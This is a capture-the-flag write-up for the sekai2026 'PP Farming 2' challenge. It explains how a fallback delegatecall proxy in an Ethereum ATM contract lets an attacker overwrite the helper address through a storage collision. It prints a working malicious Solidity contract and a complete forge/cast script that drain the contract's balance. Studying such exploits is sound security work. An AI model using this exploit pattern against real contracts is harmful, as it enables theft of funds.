$ cat writeup.md…
$ cat writeup.md…
sekai2026
Task: Ethereum ATM contract patched against the original reentrancy bug but still exposing a delegatecall proxy to a helper. Solution: call setATM through the fallback to overwrite the helper slot, then delegatecall a malicious helper that drains the ATM balance.
I fixed the issue. I think...
English summary: the attachment was an AES-encrypted ZIP. The prompt said to use the previous PP Farming flag as the password; that previous flag was only a password/context value, not the final flag for this challenge. After decryption, the goal was to drain an Ethereum PerformancePointATM instance so that isSolved() returned true.
The original PP Farming bug was a straightforward reentrancy issue, but PP Farming 2 adds a noReentrancy modifier to withdrawPP(). The successful exploit is therefore not reentrancy.
The decrypted source contains two relevant contracts:
PerformancePointHelper storage layout:
id_numberatmhelpingPerformancePointATM storage layout:
scores mappingperformancePointHelperlockedPerformancePointATM.withdrawPP() reads the caller's score, enters noReentrancy, and then executes:
performancePointHelper.delegatecall( abi.encodeWithSignature("processWithdrawal(address,uint256)", msg.sender, score) ); scores[msg.sender] = 0;
The fallback function also proxies arbitrary calls to performancePointHelper using delegatecall. It blocks only the selector for processWithdrawal(address,uint256), but it does not block other helper functions such as setATM(address).
That creates a storage-collision primitive. Calling setATM(address) on the ATM reaches the fallback, which delegatecalls the helper. In the helper, setATM writes helper slot 1 (atm). Under delegatecall, slot 1 belongs to the ATM, so this overwrites PerformancePointATM.performancePointHelper. An attacker can replace the helper implementation with an arbitrary contract.
Once the helper address is replaced, withdrawPP() delegatecalls attacker-controlled code. During a delegatecall, address(this) is still the ATM, so attacker code can send the ATM's entire balance.
The malicious helper ignores the requested withdrawal amount and transfers address(this).balance to the recipient:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; contract EvilHelper { function processWithdrawal(address payable recipient, uint256) external returns (bool) { (bool success, ) = recipient.call{value: address(this).balance}(""); return success; } }
Exploit steps:
EvilHelper.setATM(address) and the EvilHelper address. This is routed through the ATM fallback and overwrites slot 1, changing performancePointHelper.require(score > 0) in withdrawPP().withdrawPP(). The ATM delegatecalls EvilHelper.processWithdrawal, which drains the full ATM balance to the player.isSolved() and the ATM balance.Full command pattern:
#!/usr/bin/env bash set -euo pipefail # Required environment variables: # RPC_URL instance RPC endpoint # PRIVATE_KEY funded challenge account private key # ATM deployed PerformancePointATM address forge create --broadcast --rpc-url "$RPC_URL" --private-key "$PRIVATE_KEY" EvilHelper.sol:EvilHelper # Put the deployed address from forge output here. EVIL="0x..." PLAYER=$(cast wallet address --private-key "$PRIVATE_KEY") # Fallback delegatecall: PerformancePointHelper.setATM(address) writes ATM slot 1. cast send --rpc-url "$RPC_URL" --private-key "$PRIVATE_KEY" \ "$ATM" "setATM(address)" "$EVIL" # Create a non-zero score for the caller. cast send --rpc-url "$RPC_URL" --private-key "$PRIVATE_KEY" --value 1 \ "$ATM" "donatePP(address)" "$PLAYER" # Delegatecalls EvilHelper.processWithdrawal and drains the ATM. cast send --rpc-url "$RPC_URL" --private-key "$PRIVATE_KEY" \ "$ATM" "withdrawPP()" cast call --rpc-url "$RPC_URL" "$ATM" "isSolved()(bool)" cast balance --rpc-url "$RPC_URL" "$ATM"
On the solved live instance, the ATM was 0x06a7D5480d3028827aB0bc33B23D1758CF182aE5 and the deployed EvilHelper was 0x6ef7d2F61D6dC572063897977A29c9c7231390E9. After the exploit, isSolved() returned true and the ATM balance was 0 wei.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar